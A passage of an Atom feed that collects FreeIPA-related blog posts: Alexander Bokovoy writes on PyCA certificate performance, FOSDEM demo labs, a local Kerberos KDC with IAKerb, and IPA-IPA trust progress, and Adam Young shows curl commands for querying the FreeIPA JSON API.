&lt;p&gt;In these tests I also found out that PyCA’s &lt;code&gt;cryptography-x509&lt;/code&gt; doesn’t have optimizations for multiple accesses to the same fields. It is typically not a problem if you are just loading a certificate and use it once. If you have to return back to it multiple times, that becomes visible and hurts your performance. So I submitted &lt;a href=&quot;https://github.com/pyca/cryptography/pull/14441&quot;&gt;a pull request&lt;/a&gt; to apply some of the optimizations I found with &lt;code&gt;synta&lt;/code&gt;. The pull request had to be split into smaller ones and few of them were already merged, so performance to access issuer, subject, and public key in certificates and to some attributes in CSRs was improved 100x. The rest waits for improvements in PyO3 to save some of memory use.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">FreeIPA local tests and FOSDEM demos</title>
		<link href="https://vda.li/en/posts/2025/02/14/FreeIPA-local-tests/"/>
		<id>https://vda.li/en/posts/2025/02/14/FreeIPA-local-tests/</id>
		<updated>2025-02-14T11:15:00+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a href=&quot;https://fosdem.org/2025/&quot;&gt;FOSDEM 2025&lt;/a&gt; is behind us. We ran &lt;a href=&quot;https://fosdem.org/2025/schedule/track/iam/.&quot;&gt;Identity and
Access Management devroom&lt;/a&gt; at
FOSDEM. At the devroom, my team did few talks and demos about FreeIPA and
Kerberos. While preparing to those talks, we tried to create demonstrations
that could be repeated by others as well. First, this was an attempt to help
ourselves, as we need to communicate our advances to others in the teams. Then
we started to look at how to show our progress to folks outside of the development
groups.&lt;/p&gt;

&lt;p&gt;We iterated over our tools and finally ended up with something that is based on
what we use in upstream CIs: we use podman containers to run what ends up being
ephemeral VMs hosting the software. This doesn’t give ability to handle all
possible scenarios. It is not a way to run actual production environments as well.
Yet, it allows us a quick reuse and share:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;descriptive definition of the deployment configuration&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;standard tooling to provision the configuration as containers with &lt;code&gt;podman-compose&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;use of Ansible playbooks to run repeatable actions against the hosts, with
inventory taken from the podman-compose integration&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tool, &lt;a href=&quot;https://github.com/rjeffman/ipalab-config&quot;&gt;&lt;code&gt;ipalab-config&lt;/code&gt;&lt;/a&gt;,
quickly became flexible enough to be used in multiple scenarios. It powers
&lt;code&gt;ansible-freeipa&lt;/code&gt;’s own upstream CI, we aim to reuse it for new FreeIPA Web UI
development and for the FreeIPA workshop.&lt;/p&gt;

&lt;p&gt;For the demos at FOSDEM IAM devroom we put a separate repository that has all
the scenarios and even recording files to reproduce the demos:
&lt;a href=&quot;https://github.com/abbra/freeipa-local-tests/&quot;&gt;&lt;code&gt;freeipa-local-tests&lt;/code&gt;&lt;/a&gt;. You can
try yourself how local authentication hub or IPA-IPA trust or IPA-IPA migration
do work.&lt;/p&gt;

&lt;p&gt;This project demonstrates how complex multi-system FreeIPA deployments can be
tested locally or in your CI/CD. The test environment is built with the help of
&lt;a href=&quot;https://podman.io&quot;&gt;podman&lt;/a&gt; and orchestrated with
&lt;a href=&quot;https://github.com/rjeffman/ipalab-config&quot;&gt;ipalab-config&lt;/a&gt; and
&lt;a href=&quot;https://github.com/containers/podman-compose&quot;&gt;podman-compose&lt;/a&gt; tools. FreeIPA
environment is deployed with the help of
&lt;a href=&quot;https://github.com/freeipa/ansible-freeipa&quot;&gt;ansible-freeipa&lt;/a&gt;. Upstream, we run
these tests in Github Actions as well.&lt;/p&gt;

&lt;h2 id=&quot;demo-labs&quot;&gt;Demo labs&lt;/h2&gt;

&lt;p&gt;Following configurations provided as ‘labs’ that can be reproduced using
&lt;code&gt;ipalab-config&lt;/code&gt; tool and the configurations from this project:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/abbra/freeipa-local-tests/blob/main/ipalab-config/minimal/README.md&quot;&gt;minimal deployment&lt;/a&gt;, consisting of a
FreeIPA server and a FreeIPA client enrolled into it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/abbra/freeipa-local-tests/blob/main/ipalab-config/localkdc/README.md&quot;&gt;local KDC&lt;/a&gt;, consisting of two
standalone machines, not enrolled into any domain. Each machine runs its own
Kerberos KDC exposed to local applications over UNIX domain socket, with socket
activation handled by systemd. See &lt;a href=&quot;https://fosdem.org/2025/schedule/event/fosdem-2025-5618-localkdc-a-general-local-authentication-hub/&quot;&gt;“localkdc - local authentication hub”&lt;/a&gt;
talk at FOSDEM 2025. This is currently a work in progress.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/abbra/freeipa-local-tests/blob/main/ipalab-config/ipa-migrate/README.md&quot;&gt;FreeIPA deployment migration&lt;/a&gt;,
demonstrating how IPA data can be migrated between separate test and
production deployments. See &lt;a href=&quot;https://fosdem.org/2025/schedule/event/fosdem-2025-5175-freeipa-to-freeipa-migration-current-capabilities-and-use-cases/&quot;&gt;“FreeIPA-to-FreeIPA Migration: Current
Capabilities and Use Cases”&lt;/a&gt;
talk at FOSDEM 2025.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/abbra/freeipa-local-tests/blob/main/ipalab-config/ipa-trust/README.md&quot;&gt;FreeIPA trust&lt;/a&gt;, demonstrating how two
separate IPA deployments can be set up to trust each other. See &lt;a href=&quot;https://fosdem.org/2025/schedule/event/fosdem-2025-5178-building-cross-domain-trust-between-freeipa-deployments/&quot;&gt;“Building Cross-Domain Trust Between FreeIPA Deployments”&lt;/a&gt; talk at FOSDEM 2025. This is currently a work in progress.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;demo-recordings&quot;&gt;Demo recordings&lt;/h2&gt;

&lt;p&gt;Some of the demo labs have automated recording of the operations that could be performed on them.
Video recording is built upon excellent
&lt;a href=&quot;https://github.com/charmbracelet/vhs&quot;&gt;VHS&lt;/a&gt; tool. A pre-built version for
Fedora is provided in &lt;a href=&quot;https://copr.fedorainfracloud.org/coprs/abbra/vhs/&quot;&gt;COPR
abbra/vhs&lt;/a&gt;. This build also
includes a fix from the upstream
&lt;a href=&quot;https://github.com/charmbracelet/vhs/pull/551&quot;&gt;PR#551&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;minimal-deployment-demo&quot;&gt;Minimal deployment demo&lt;/h3&gt;

&lt;p&gt;This demo recording includes a minimal use of FreeIPA command line:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;an administrator logs into a client system over SSH using a password&lt;/li&gt;
  &lt;li&gt;Kerberos ticket is obtained automatically by the SSSD&lt;/li&gt;
  &lt;li&gt;IPA command line tool can authenticate to IPA server using Kerberos&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 id=&quot;local-kdc-demo&quot;&gt;Local KDC demo&lt;/h3&gt;

&lt;p&gt;The local KDC demo is more evolved:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a user logs into their own machine over SSH using a password&lt;/li&gt;
  &lt;li&gt;Kerberos ticket is obtained automatically by the SSSD from the local KDC which is activated on demand&lt;/li&gt;
  &lt;li&gt;User then uses a Kerberos ticket to authenticate to SUDO and obtain root privileges&lt;/li&gt;
  &lt;li&gt;The user also uses the Kerberos ticket to authenticate to Samba server running locally&lt;/li&gt;
  &lt;li&gt;Finally, the user authenticates with Kerberos IAKerb extension to a remotely running Samba server, removing completely a need for NTLM authentication protocol&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 id=&quot;ipa-to-ipa-trust-demo&quot;&gt;IPA to IPA trust demo&lt;/h3&gt;

&lt;p&gt;This is a minimalistic demo of how users and groups from one IPA environment
can be resolved in the other IPA environment. There is a trust agreement
established between both IPA environments, similarly how IPA can establish a
forest level trust with Active Directory.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Local authentication hub</title>
		<link href="https://vda.li/en/posts/2025/02/09/local-authentication-hub/"/>
		<id>https://vda.li/en/posts/2025/02/09/local-authentication-hub/</id>
		<updated>2025-02-09T11:00:00+00:00</updated>
		<content type="html">&lt;p&gt;FOSDEM 2025 is just behind us and it was a great event. I had a chance to talk
about the local authentication hub project. The talk was well received and I got
a lot of questions about the project. We ran Identity and Access Management
devroom for the second time in row and it was a great success. I had two talks
at the IAM devroom, both were process reports on the activity we have announced
at FOSDEM 2024. Now that both recordings of the both talks published, I can
share articles which go into more details.&lt;/p&gt;

&lt;h2 id=&quot;local-authentication-hub&quot;&gt;Local authentication hub&lt;/h2&gt;

&lt;p&gt;Our FOSDEM talk is &lt;a href=&quot;https://fosdem.org/2025/schedule/event/fosdem-2025-5618-localkdc-a-general-local-authentication-hub/&quot;&gt;“localkdc - a general local authentication
hub”&lt;/a&gt;.
You can watch it and come back here for more details.&lt;/p&gt;

&lt;p&gt;But before going into details, let me provide a bit of a background. It is 2025 now
and we should go almost three decades back (ugh!).&lt;/p&gt;

&lt;h3 id=&quot;history-dive&quot;&gt;History dive&lt;/h3&gt;

&lt;p&gt;Authentication on Linux systems is interwoven with the identity of the users.
Once a user logged in, a process is running under a certain POSIX account
identity. Many applications validate the presence of the account prior to the
authentication itself. For example, the OpenSSH server does check the POSIX
account and its properties and if the user was not found, will intentionally
corrupt the password passed to the PAM authentication stack request. An
authentication request will fail but the attempt will be recorded in the system
journal.&lt;/p&gt;

&lt;p&gt;This joint operation between authentication and identification sources in Linux
makes it important to maintain a coherent information state. No wonder that in
corporate environments it is often handled centrally: user and group identities
stored at a central server and sourced from that one by a local software, such
as SSSD. In order to consume these POSIX users and groups, SSSD needs to be
registered with the centralized authority or, in other words, enrolled into the
domain. Domain enrollment allows not only identity and authentication of users:
both the central server and the enrolled client machine can mutually
authenticate each other and be sure they talk to the right authority when
authenticating the user.&lt;/p&gt;

&lt;p&gt;FreeIPA provides a stable mechanism for building a centralized domain
management system. Each user account has POSIX attributes associated with it and
each user account is represented by the Kerberos principal. Kerberos
authentication can be used to transfer the authentication state across multiple
services and provides a chance for services to discover user identity
information beyond POSIX. It also makes strong linking between the POSIX level
identity and authentication structure possible: for example, a Kerberos service
may introspect a Kerberos ticket presented by a user’s client application to see
how this user was authenticated originally: with a password or some specific
passwordless mechanism. Or, perhaps, that a client application performs
operations on behalf of the user after claiming it was authenticated using a
different (non-Kerberos) authentication.&lt;/p&gt;

&lt;p&gt;Local user accounts’ use lacks this experience. Each individual service needs to
reauthenticate a user again and again. Local system login: authenticate.
Elevating privileges through SUDO? Authenticate again, if not explicitly
configured otherwise. Details of the user session state, like how long this
particular session is active, is not checked by the applications, making it also
harder to limit access. There is no information on how this user was
authenticated. Finally, overall user experience between local (standalone)
authentication and domain-enrolled one differs, making it harder to adjust and
educate users.&lt;/p&gt;

&lt;p&gt;Local authentication is also typically password-based. This is not a bad thing
in itself but depending on applications and protocols, worse choices could be
made, security-wise. For example, contemporary SMB 3.11 protocol is quite secure
if authenticated using Kerberos. For non-Kerberos usage, however, it is left to
rely on NTLM authentication protocol which requires use of RC4 stream cipher.
There are multiple attacks known to break RC4-based encryption, yet it is still
used in majority of non-domain joined communications using SMB protocol simply
because there was no (so far) alternative. To be correct, there was always an
alternative, use of Kerberos protocol, but setting it up for individual isolated
systems wasn’t practical.&lt;/p&gt;

&lt;p&gt;The Kerberos protocol assumes the use of three different parties: a client, a
service, and a key distribution center (KDC). In corporate environments a KDC is
part of the domain controller system, a client and a service are both domain
members, computers are enrolled in the domain. The client authenticates to KDC
and obtains a Kerberos ticket granting ticket (TGT). It then requests a service
ticket from the KDC by presenting its TGT and then presents this service ticket
to the service. The service application, on its side, is able to decrypt the
service ticket presented by the client and authenticate the request.&lt;/p&gt;

&lt;p&gt;In the late 2000s Apple realised that for individual computers a number of user
accounts is typically small and a KDC can be run as a service on the individual
computer itself. When both the client and server are on the same computer, this
works beautifully. The only problem is that when a user needs to authenticate to
a different computer’s service, the client cannot reach the KDC hosted on the
other computer because it is not exposed to the network directly. Luckily, MIT
Kerberos folks already thought about this problem a decade prior to that: in
1997 a first idea was published for a Kerberos extension that allowed to tunnel
Kerberos requests over a different application protocol. This specification
became later known as “Initial and Pass Through Authentication Using Kerberos V5
and the GSS-API” (IAKerb). An initial implementation for MIT Kerberos was done
in 2009/2010 while Apple introduced it in 2007 to enable remote access to your
own Mac across the internet. It came in MacOS X 10.5 as a “Back to My Mac”
feature and even got specified in RFC 6281, only to be retired from MacOS in
2019.&lt;/p&gt;

&lt;h3 id=&quot;modern-days&quot;&gt;Modern days&lt;/h3&gt;

&lt;p&gt;In the 2020s Microsoft continued to work on NTLM removal. In 2023 they announced
that all Windows systems will have a local KDC as their local authentication
source, accessible externally via selected applications through the IAKerb
mechanism. By the end of 2024, we have only seen demos published by Microsoft
engineers at various events but this is a promising path forward. Presence of
the local KDC in Windows raises an interoperability requirement: Linux systems
will have to handle access to Windows machines in a standalone environment over
SMB protocol. Authentication is currently done with NTLM, it will eventually be
removed, thus we need to support the IAKerb protocol extension.&lt;/p&gt;

&lt;p&gt;The NTLM removal for Linux systems requires several changes. First, the Samba
server will need to learn how to accept authentication with the IAKerb protocol
extension. Then, Samba client code needs to be able to establish a client
connection and advertise IAKerb protocol extension. For kernel level access, the
SMB filesystem driver needs to learn how to use IAKerb as well, this will also
need to be implemented in the user space cifs-utils package. Finally, to be able
to use the same feature in a pure Linux environment, we need to be able to
deploy Kerberos KDC locally and do it in an easy manner on each machine.&lt;/p&gt;

&lt;p&gt;This is where we had an idea. If we are going to have a local KDC running on
each system, maybe we should use it to handle all authentication and not just
for the NTLM removal? This way we can make both the local and domain-enrolled
user experience the same and provide access locally to a whole set of
authentication methods we support for FreeIPA: passwords, smartcards, one-time
passwords and remote RADIUS server authentication, use of FIDO2 tokens, and
authentication against an external OAuth2 Identity Provider using a device
authorization grant flow.&lt;/p&gt;

&lt;h3 id=&quot;how-local-a-local-kdc-should-be&quot;&gt;How “local” a local KDC should be?&lt;/h3&gt;

&lt;p&gt;On standalone systems it is often not desirable to run daemons continuously.
Also, it is not desirable to expose these services to the connected network if
they really don’t need to be exposed. A common approach to solve this problem is
by providing a local inter-process communication (IPC) mechanism to communicate
with the server components. We chose to expose a local KDC via UNIX domain
sockets. A UNIX domain socket is a well-known mechanism and has known security
properties. With the help of a systemd feature called socket activation, we also
can start local KDC on demand, when a Kerberos client connects over the UNIX
domain socket. Since on local systems actual authentication requests don’t
happen often, this helps to reduce memory and CPU usage in the long run.&lt;/p&gt;

&lt;p&gt;If a local KDC is only accessible over a UNIX domain socket, remote applications
could not get access to it directly. This means they would need to have help
from a server application that can utilize the IAKerb mechanism to pass-through
the communication between a client and the KDC. It would enable us to
authenticate as a local user remotely from a different machine. Due to how the
IAKerb mechanism is designed and integrated into GSS-API, this only allows
password-based authentication. Anything that requires passwordless methods
cannot obtain initial Kerberos authentication over IAKerb, at least at this point.&lt;/p&gt;

&lt;p&gt;Here is &lt;a href=&quot;https://youtu.be/D5vzc2Qo4k0&quot;&gt;a small demo&lt;/a&gt; on Fedora,
using our &lt;code&gt;localkdc&lt;/code&gt; tool to start a local KDC, obtain a Kerberos ticket upon
login. The tickets can then be used effortlessly to authenticate to local
services such as SUDO or Samba. For remote access we rely on Samba support for
IAKerb and authenticate with GSSAPI but local &lt;code&gt;smbclient&lt;/code&gt; uses a password first
to obtain the initial ticket over IAKerb. This is purely a limitation of
the current patches we have to Samba.&lt;/p&gt;

&lt;div class=&quot;embed-container&quot;&gt;
 
&lt;/div&gt;

&lt;p&gt;Make a pause here and think about the implications. We have an initial Kerberos
ticket from the local system. The Kerberos ticket embeds details of how this
authentication happened. We might have used a password to authenticate, or a
smartcard. Or any other supported pre-authentication methods. We could reuse the
same methods FreeIPA already provides in the centralized environment.&lt;/p&gt;

&lt;p&gt;The Kerberos ticket also can contain details about the user session, including
up to date group membership. It does not currently have that in the local KDC
case but we aim to fix that. This ticket can be used to authenticate to any
GSS-API or Kerberos-aware service on this machine. If a remote machine accepts
Kerberos, it theoretically could accept a ticket presented by a client
application running on the local machine as well. Only, to do that it needs to
be able to communicate with our local KDC and it couldn’t access it.&lt;/p&gt;

&lt;h3 id=&quot;trust-management&quot;&gt;Trust management&lt;/h3&gt;

&lt;p&gt;Luckily, a local KDC deployment is a full-featured Kerberos realm and thus can
establish cross-realm agreements with other Kerberos realms. If two “local” KDC
realms have trust agreements between each other, they can issue cross-realm
Kerberos tickets which applications can present over IAKerb to the remote
“local” KDC. Then a Kerberos ticket to a service running on the target system
can be requested and issued by the system’s local KDC.&lt;/p&gt;

&lt;p&gt;Thus, we can achieve passwordless authentication locally on Linux systems and
have the ability to establish peer to peer agreements across multiple systems,
to allow authentication requests to flow and operate on commonly agreed
credentials. A problem now moves to the management area: how to manage these
peer to peer agreements and permissions in an easy way?&lt;/p&gt;

&lt;h3 id=&quot;systemd-usergroup-api-support&quot;&gt;Systemd User/Group API support&lt;/h3&gt;

&lt;p&gt;MIT Kerberos KDC implementation provides a flexible way to handle Kerberos
principals’ information. A database backend (KDB) implementation can be
dynamically loaded and replaced. This is already used by both FreeIPA and Samba
AD to integrate MIT Kerberos KDC with their own database backends based on different
LDAP server implementations. For a local KDC use case running a full-featured
LDAP server is not required nor intended. However, it would be great if
different applications could expose parts of the data needed by the KDB
interfaces and cooperate together. Then a single KDB driver implementation could
be used to streamline and provide uniform implementation of Kerberos-specific
details in a local KDC.&lt;/p&gt;

&lt;p&gt;One of the promising interfaces to achieve that is the &lt;a href=&quot;https://systemd.io/USER_GROUP_API/&quot;&gt;User/Group record lookup
API&lt;/a&gt; via varlink from systemd. Varlink
allows applications to register themselves and listen on UNIX domain sockets for
communication similar to D-Bus but with much less implementation overhead. The
User/Group API technically also allows to merge data coming from different
sources when an application inquires the information. “Technically”, because
&lt;code&gt;io.systemd.Multiplexer&lt;/code&gt; API endpoint currently does not support merging
non-overlapping data representing the same account from multiple sources. Once
it would become possible, we could combine the data dynamically and may interact
with users on demand when corresponding requsts come in. Or we can implement our
own blending service.&lt;/p&gt;

&lt;p&gt;Blending data requests from multiple sources within MIT KDC needs a specialized
KDB driver. We certainly don’t want this driver to duplicate the code from other
drivers, so making these drivers stackable would be a good option. Support for
one level of stacking has been merged to MIT Kerberos through &lt;a href=&quot;https://github.com/krb5/krb5/pull/1396&quot;&gt;a quickly
processed pull request&lt;/a&gt; and will be
available in the next MIT Kerberos release. This allows us to have a single KDB
driver that loads other drivers specialized in storing Kerberos principals and
processing additional information like &lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962&quot;&gt;MS-PAC
structure&lt;/a&gt;
or applying additional authorization details.&lt;/p&gt;

&lt;h3 id=&quot;establishing-trusts&quot;&gt;Establishing trusts&lt;/h3&gt;

&lt;p&gt;If Alice and Bob are in the same network and want to exchange some files, they
could do this using SMB and Samba. But that Alice can authenticate on Bob’s
machine, they would need to establish a Kerberos cross realm trust. With the
current tooling this is a complex task. For users we need to make this more
accessible. We want to allow users to request trust on demand and validate these
requests interactively. We also want to allow trust to be present for a limited
timeframe, automatically expiring or manually removed.&lt;/p&gt;

&lt;p&gt;If we have a Kerberos principal lookup on demand through a curated varlink API
endpoint, we also can have a user-facing service to initiate establishing the
trust between two machines on demand. Imagine a user trying to access SMB share
on one desktop system that triggers a pop-up to establish trust relationship
with a corresponding local KDC on the remote desktop system. Both owners of the
systems would be able to communicate out of band that provided information is
correct and can be trusted. Once it is done, we can return back the details of
the specific Kerberos principal that represents this trust relationship. We can
limit lifetime of this agreement so that it would disappear automatically in one
hour or a day, or a week.&lt;/p&gt;

&lt;h3 id=&quot;current-state-of-local-authentication-hub&quot;&gt;Current state of local authentication hub&lt;/h3&gt;

&lt;p&gt;We started with two individual implementation paths early in 2024:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;support IAKerb in MIT Kerberos and Samba&lt;/li&gt;
  &lt;li&gt;enable MIT Kerberos to be used locally without network exposure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;MIT Kerberos did have support for IAKerb protocol extension for more than a
decade but since Microsoft introduced some changes to the protocol, those
changes needed to be integrated as well. This was completed during summer 2024,
though no upstream release is available yet. MIT Kerberos typically releases new
versions yearly in January so we hope to get some updates early 2025.&lt;/p&gt;

&lt;p&gt;Samba integration with IAKerb is currently under implementation. Originally,
Microsoft was planning to release Windows 11 and Windows Server 2025 with IAKerb
support enabled during autumn 2024. However, the Windows engineering team faced
some issues and IAKerb is still not enabled in the Windows Server 2025 and
Windows 11 releases. We are looking forward to getting access to Windows builds
that enable IAKerb support to ensure interoperability before merging Samba
changes upstream. We also need to complete the Samba implementation to properly
support locally-issued Kerberos tickets and not only do acquisition of the
ticket based on the password.&lt;/p&gt;

&lt;p&gt;Meanwhile, our cooperation with MIT Kerberos development team led to
advancements in the local KDC support. The MIT Kerberos KDC can now be run over
a UNIX domain socket. Also on systemd-enabled systems we allow socket
activation, transforming local KDC into an on-demand service. We will continue
our work on a dynamic database for a local KDC, to allow on-demand combination
of resources from multiple authoritative local sources (Samba, FreeIPA, SSSD,
local KDC, future dynamic trust application).&lt;/p&gt;

&lt;p&gt;For experiments and ease of deployments, a new configuration tool was developed,
localkdc. The tool is available at
&lt;a href=&quot;https://gitlab.com/cryptomilk/localkdc&quot;&gt;localkdc&lt;/a&gt; and &lt;a href=&quot;https://copr.fedorainfracloud.org/coprs/asn/localkdc&quot;&gt;COPR
repository&lt;/a&gt; can be used to
try the whole solution on Fedora.&lt;/p&gt;

&lt;p&gt;If you want to get that test tried in a simple setup, you might be interested in
a tool that we developed initially for FreeIPA: &lt;a href=&quot;https://github.com/abbra/freeipa-local-tests/&quot;&gt;FreeIPA local
tests&lt;/a&gt;. This tool allows to
provision and run a complex test environment in podman containers. The video of
the local KDC usage was actually generated automatically by the scripts from
https://github.com/abbra/freeipa-local-tests/tree/main/ipalab-config/localkdc.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-US">
		<title type="html">FreeIPA: whoami via curl</title>
		<link href="http://adam.younglogic.com/2024/10/freeipa-whoami-via-curl/"/>
		<id>https://adam.younglogic.com/?p=11262</id>
		<updated>2024-10-31T17:13:22+00:00</updated>
		<content type="html">&lt;p&gt;Assuming PRINCIPAL is your Kerberos principal and $IPASERVER is the FQDN of your server, you can query your identity on the IPA server via curl:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;kinit $PRINCIPAL
curl -k -H referer:https://$IPASERVER/ipa   -H &quot;Content-Type:application/json&quot;    -H &quot;Accept:applicaton/json&quot;   --negotiate -u :   --cacert /etc/ipa/ca.crt   -d  '{&quot;method&quot;:&quot;whoami&quot;,&quot;params&quot;:&amp;#91;&amp;#91;],{&quot;version&quot;: &quot;2.220&quot;}],&quot;id&quot;:0}'   -X POST    https://$IPASERVER/ipa/json
{&quot;result&quot;: {&quot;object&quot;: &quot;user&quot;, &quot;command&quot;: &quot;user_show/1&quot;, &quot;arguments&quot;: &amp;#91;&quot;ayoung&quot;]}, &quot;version&quot;: &quot;4.5.4&quot;, &quot;error&quot;: null, &quot;id&quot;: 0, &quot;principal&quot;: &quot;ayoung@YOUNGLOGIC.COM&quot;}&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;This is handy if your system is not registered as an IPA client.&lt;/p&gt;



&lt;p&gt;To fetch  by username:&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;curl -k -H referer:https://$IPASERVER/ipa   -H &quot;Content-Type:application/json&quot;    -H &quot;Accept:applicaton/json&quot; --negotiate -u : --cacert /etc/ipa/ca.crt -d '{&quot;method&quot;: &quot;user_show&quot;, &quot;params&quot;: &amp;#91;&amp;#91; &quot;ayoung&quot; ], { &quot;all&quot;: true, &quot;rights&quot;: true }  ]}'  -X POST    https://$IPASERVER/ipa/json
&lt;/code&gt;&lt;/pre&gt;</content>
		<author>
			<name>Adam Young</name>
			<uri>http://adam.younglogic.com</uri>
		</author>
		<source>
			<title type="html">FreeIPA – Adam Young's Web Log</title>
			<subtitle type="html">The Notebook of a Programmer Climber Musician Ex-Soldier Woodworker and a few other things</subtitle>
			<link rel="self" href="http://adam.younglogic.com/category/software/freeipa,kerberos,ldap/feed/"/>
			<id>http://adam.younglogic.com/category/software/freeipa,kerberos,ldap/feed/</id>
			<updated>2026-05-10T07:26:09+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">IPA-IPA trust progress report</title>
		<link href="https://vda.li/en/posts/2024/05/31/ipa-ipa-trust-progress/"/>
		<id>https://vda.li/en/posts/2024/05/31/ipa-ipa-trust-progress/</id>
		<updated>2024-05-31T09:30:00+00:00</updated>
		<content type="html">&lt;p&gt;FreeIPA and SSSD teams are working to enable IPA deployments to trust each
other. This report outlines the progress we have so far.&lt;/p&gt;

&lt;h3 id=&quot;trust-across-enterprise-domains&quot;&gt;Trust across enterprise domains&lt;/h3&gt;

&lt;p&gt;FreeIPA implements an enterprise domain management: systems enrolled into
domain managed centrally and access resources available through the domain
controllers. These resources include information about users and groups,
machines, Kerberos services and different rules that can bind them. FreeIPA
supports a trust to Active Directory forest by posing as a separate Active
Directory forest with a single Active Directory domain (a forest root).&lt;/p&gt;

&lt;p&gt;The approach helps to integrate with a majority of enterprise deployments. New
deployments might not include Active Directory, though. Instead, they tend to
be self-sufficient or integrate with externally managed data sources, often
without retaining compatibility with traditional POSIX or Active Directory
deployments. For example, cloud deployments might rely on OAuth2 identity
providers or federate to social services.&lt;/p&gt;

&lt;p&gt;FreeIPA can also integrate with OAuth2-based identity providers by bridging
authentication over to them. Users would be native IPA users; IPA policies and
rules to access IPA resources would apply to them but authentication and
permission to issue a Kerberos ticket to the users would be delegated to an
external IdP.&lt;/p&gt;

&lt;p&gt;One useful approach is to have a single IPA environment that holds all users
and groups while individual machines all placed in separate IPA deployments.
These deployments would need to trust the environment where users defined. In
this document we’d call such deployment an IPA-IPA trust.&lt;/p&gt;

&lt;p&gt;IPA-IPA trust would look similar to the existing trust to Active Directory. A
core technology is Kerberos: each deployment is a separate Kerberos realm; a
trust on Kerberos level means cross-realm ticket granting tickets (TGT) issued
by the realms’ KDCs. These cross-realm TGTs allow clients from one realm to
request tickets for services located in the other realm.&lt;/p&gt;

&lt;p&gt;Requesting Kerberos tickets is a base feature needed to authenticate across the
trust. For proper relationship, identities of the authenticated objects
(Kerberos principals and services) also need to be resolved. In POSIX
environments these identities have to be associated with POSIX users to be able
to store data on disk or to run processes with individual login sessions. The
process requires not only authentication but also the ability to query
information from a trusted domain’s domain controller.&lt;/p&gt;

&lt;p&gt;In FreeIPA deployments, user and group information from the domain controllers
is retireved by SSSD. When trust to Active Directory forest created, SSSD on
IPA domain controllers is able to use a special entry in the trusted domain
(trusted domain object, TDO) to authenticate against trusted domain’s domain
controllers. SSSD knows how LDAP schema and directory information tree (DIT) on
the Active Directory side are organized and can handle user and group object
mapping for us.&lt;/p&gt;

&lt;p&gt;If SSSD is able to resolve users and groups in the same way as with Active
Directory trusts, this means we can reuse existing support for trusted Active
Directory users and groups in IPA commands and keep the same user experience
when adding HBAC or SUDO rules, managing IPA deployment, and so on. This would
also mean we already would have a comprehensive test suite to validate IPA-IPA
trust functionality.&lt;/p&gt;

&lt;h3 id=&quot;kerberos-trust-infrastructure&quot;&gt;Kerberos trust infrastructure&lt;/h3&gt;

&lt;p&gt;We first focused on making Kerberos infrastructure work when both realms
represented by separate FreeIPA deployments. For past decade Microsoft, Samba
Team, FreeIPA team, MIT Kerberos and Heimdal projects worked together to ensure
there is a solid secure foundation for interoperability between non-POSIX
(Active Directory) and POSIX deployments. In Active Directory world some
crucial POSIX information is not available. When this information required on
POSIX side, it is either synthesized or mapped onto existing objects by FreeIPA
and Samba AD.&lt;/p&gt;

&lt;p&gt;Kerberos protocol originally didn’t include any means to securely tie Kerberos
principals to identities. For example, one was able to create a Windows machine
named &lt;code&gt;root&lt;/code&gt; in Active Directory and then use its machine account to login to a
different machine as &lt;code&gt;root&lt;/code&gt; POSIX user. This attack approach not possible
anymore if all sides (Kerberos KDCs of the involved realms and a target
machine) use authorization data in Kerberos tickets to exchange identity
details of the original Kerberos principal’s operating system object. In this
case it would mean that a Kerberos principal &lt;code&gt;root&lt;/code&gt; would have its machine
account information associated with the Kerberos ticket and the target machine
would be able to inquire and see that the real Kerberos principal would be
